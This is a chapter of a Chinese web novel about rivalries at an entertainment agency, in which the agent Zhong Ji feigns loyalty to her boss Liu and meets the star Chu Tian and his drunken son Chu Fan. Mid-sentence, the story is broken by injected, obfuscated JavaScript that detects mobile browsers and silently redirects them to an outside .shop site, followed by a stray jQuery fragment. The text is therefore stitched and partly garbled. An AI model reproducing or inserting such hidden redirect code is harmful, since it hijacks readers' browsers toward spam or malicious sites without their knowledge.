紧接着,平台又自动播放了一段电影节活动的短视频。
是明星对镜签名的怼脸直拍。
镜头几乎贴着每个人的脸拍,妆容和皮肤状态无处遁形。不少国内外知名艺人在这样的高清镜头下原形毕露。
比如,最近正火的新生代艺人楚樊,镜头拉近后,粗大的毛孔、痘印和黑眼圈十分明显,评论区全是嘲讽。
可视频切到知野和乌冰蓝时,画风却忽然变了。
知野垂眸签名,再抬眼朝镜头羞涩一笑。睫毛纤长,眼睛湿润明亮,五官利落清俊,皮肤干净得让人挑不出瑕疵。
弹幕瞬间疯了。
【救命,知野这张脸到底怎么长的!怎么一点瑕疵都没有!!!】
【这么帅还这么羞涩的男人,啊啊啊!!!】
【请把这张脸焊在大银幕上。】
紧接着是乌冰蓝。
她接过工作人员递来的笔,垂眸签名时,蓝色眼影衬得眉眼愈发清冷。
额前一缕碎发随着动作轻轻晃动,耳边的蓝宝石耳坠也微微摇曳。
她始终神情专注,偏偏那张脸透着冷艳。
签完名后,她朝镜头浅浅一笑。
酒窝倏然浮现,方才那点疏冷仿佛一下子融开,只剩下明媚又妩-媚的风情。
弹幕又一次疯了。
【古希腊掌管蓝色眼影的神啊!】
【姐姐好美呜呜呜呜!!!】
【老婆老婆老婆!!!我当场就是一个求婚!!!】
颁奖典礼后,整个富金娱乐都沉浸在喜气里。
而最得意的人,莫过于刘总。
《深渊尽染》上映短短两个月,票房便一举突破五十亿。不仅替富金娱乐赚得盆满钵满,还捧出了一个炙手可热的新顶流——知野。
刘总坐在宽大的真皮椅里,难得大方了一回。
他从柜子最显眼的架子上取出一支平日里绝舍不得碰的高希霸贝依可56,慢条斯理地剪开、点燃。浓郁醇厚的烟气在唇齿间漫开。
他又开了一瓶哈雷伍德1780黑朗姆,给自己倒了满满一杯。
这种东西,平时他顶多摆在柜子里充门面,偶尔有真正身份够格的贵客来了,才会咬咬牙拿出来撑撑场子。
可今天不同。
今天他高兴。
这么高的票房,往后源源不断的代言、商务、综艺……知野就像一头刚养肥的现金奶牛,往后只会替富金娱乐挤出更多利润。
刘总越想越畅快,靠在椅背上,眯着眼,沉醉在烟酒交织的香气里许久。
直到那双原本有些失焦的眼睛重新聚起神,他才想起办公室里还坐着一个人。
钟棘刚刚来给他报喜,此刻正安静坐在会客区的沙发上,背脊挺直,神色平静,仿佛那五十亿票房与她毫无关系。
刘总看了她一眼,心情颇好。
能签下知野,钟棘确实有眼光。
早在知野还籍籍无名时,她便抢先将人签进了富金娱乐。虽说这部电影的分红要给知野让出去不少,可按照旧协议,知野日后的代言、商务及各类收益,公司能抽走九成,他自己只能拿一成。
想到这里,刘总连酒都觉得更甜了。
钟棘这次立了功,赏是该赏一点的。
他象征性地抬了抬下巴,指向桌上的酒瓶:“要不要来一杯朗姆酒,尝尝?”
嘴上虽这么说,手却没有动,没有半点要替她倒酒的意思。
钟棘跟了他这么多年,哪会看不出他的心思。
她摆摆手,笑得十分识趣:“老板,我是个粗人,这么贵的酒喝进嘴里也是牛嚼牡丹,浪费。您自己慢慢品。”
刘总顿时满意了。
这才叫懂事。
他吐-出一口烟,语气高高在上:“知野现在是公司的摇钱树。你这次立了功,很好。”
“但你别以为能躺在功劳簿上吃老本。明年他的合约到期,你想尽一切办法,也得让他续约。”
“还有,旧协议里的分成条款,一条都不能改。”
钟棘垂眸看着面前那只始终空着的杯子,神情没有半分波动。
“好。”
刘总慢悠悠地吸了一口雪茄。
片刻后,他像是忽然想起什么似的,随口问道。
“对了,乌冰蓝要复出了。你怎么看?”
语气轻描淡写,仿佛只是酒后闲谈。
可烟雾缭绕间,他那双精明的眼睛却始终落在钟棘脸上,观察着她每一个微表情。
钟棘抬起眼,神色依旧平静。
“九年过去了。”她语气淡淡。
“她早就不是当年的乌冰蓝了,掀不起什么风浪。”
刘总盯着她看了几秒,像是在分辨这句话里究竟藏了几分真心。
随后,他才笑了笑。
“好歹也是你以前的老板。你倒是一点都不盼着她好。”
钟棘微微低下头,像是在向他表忠心。
“我现在只替富金考虑。”她说,“富金做得越大,我的位置才越稳。”
刘总满意地点点头,又抛出一块看似诱-人的饵。
“要是明年你能把知野续签的事办成,我就给你升到最高权限——首席总经纪人。”
“你现在带楚樊带得不错。等你升了职,你之前一直想接手的楚天,我也可以分给你。”
这一次,钟棘的表情终于有了些许变化。
“谢谢刘总栽培。我一定使命必达。”她站起身,朝刘总深深鞠了一躬,姿态谦卑乖顺。
说罢,她抬起眼,眼底似乎掠过一丝极淡的情绪,快得让人捕捉不住。
刘总却莫名打了个寒颤。
他其实一直有些害怕钟棘。
这个女人工作能力极强。
九年前,她从华彩娱乐跳槽到富金娱乐,此后替公司拿下一个又一个项目,签了一个又一个明星,带来了数不清的利润。
托她的福,刘总的座驾也从宝马换成了法拉利。
所以,钟棘一直是他公司里能力最强的员工。
可她看人时的眼神,总让刘总觉得不太舒服。
安静,阴冷,像一条伏在草丛深处的蛇。仿佛一直在暗处观察着什么,伺机等待着什么。
尤其是想到她是在自己和楚天联手做了那件事后,才从乌冰蓝手里跳槽过来的,刘总心里便更添了几分说不清的警惕。
最开始那几年,他一直怀疑钟棘是来替乌冰蓝报仇的。
可他观察了她很久,发现钟棘不但没有表现出半分怨恨,反而处处以公司的利益为先,替富金娱乐赚了一笔又一笔钱,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757773|203353||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
比谁都卖力。
看来,终究还是自己命好。
刘总想起自己出生时,母亲曾特意请来算命先生为他批命。那人捻着胡须,煞有介事地说,他命里带着汉朝帝王之相。
如今看来,果然不假。
他不就是娱乐圈的汉高祖刘邦么?
当年,他凭一己之力捧出了天王巨星楚天;如今,又有钟棘这样的人才从敌营投奔,为他效力。
刘总又深深吸了一口雪茄。
烟雾缭绕间,他靠坐在真皮椅里,隔着玻璃俯瞰灯火通明的城市,越发沉醉于自己想象中的雄才伟略与人格魅力。
钟棘走出办公室。
门在身后合上的瞬间,她脸上那层冰封似的平静终于裂开了一道缝。
她表情厌恶,无声地吐-出一口恶气。
但那点厌恶只出现了短短一瞬。
发现自己即将走进监控区域,钟棘便重新收敛神色。她抬手理了理西装领子,脸上又恢复成一贯的面无表情。
电梯一路下行。
到了楚天办公室,钟棘抬手敲门。
“烦死了——”
门刚被里面的人拉开,一道暴怒又尖利的声音便迎面砸来。
钟棘甚至还没来得及看清办公室里的陈设,一本厚重的杂志便从里面飞了出来。
“砰”的一声,正正砸在她额角。
杂志落到地上,纸页散开。
钟棘额角很快泛起一阵钝痛。她却像没感觉到似的,弯腰把那本杂志捡了起来,随手放回茶几上。
办公室里,一股酒气扑鼻而来,楚樊脸色因醉酒涨得通红。
误伤钟棘后,他神色闪过一瞬慌乱,飞快看向坐在办公桌后的父亲楚天。
楚天没有抬头,也没有半点责怪他的意思,只是慢条斯理地翻着手里的剧本。
楚樊顿时又有了底气。
“你们一个个到底有什么用?”他指着面前一排低着头的工作人员,声音几乎要掀翻屋顶。
“让知野那个乡里来的土狗踩到我头上来?最佳男演员奖本来就该是我的!是我的!”
他越说越激动,像是只要声音大,他就一定有道理。
浑然忘了,当初在片场,是他嫌拍摄辛苦,三天两头罢演、耍脾气,才逼得姚导彻底失望,宁愿临时调整剧本,也要把男主换成知野演的角色。
办公室里一片死寂。
没人敢反驳。
几名助理被他劈头盖脸骂了半天,眼圈早已红透,却还得死死咬着嘴唇,不敢发出一点声音。
“还有,我在红毯上对镜签名那个热搜撤了没有?”楚樊猛地转身,抓起桌上的文件袋便往地上砸,“那些人全都在笑我!说我丑、说我丢人!”
他越想越恼火,又抄起一个杯子要砸。
只是砸之前,他下意识看了眼楚天。确认父亲没什么反应,他才狠狠摔了出去。
杯子碎在地上,瓷片四散。
可他手忙脚乱间,还是碰翻了楚天面前那杯浓茶。褐色茶水顺着桌面漫开,浸-湿了楚天刚刚放下的剧本。
楚樊的动作骤然僵住。
楚天终于抬起头。那双眼睛阴沉沉地落在楚樊身上,带着一种令人窒息的压迫感。
“楚樊。”
“你过分了。”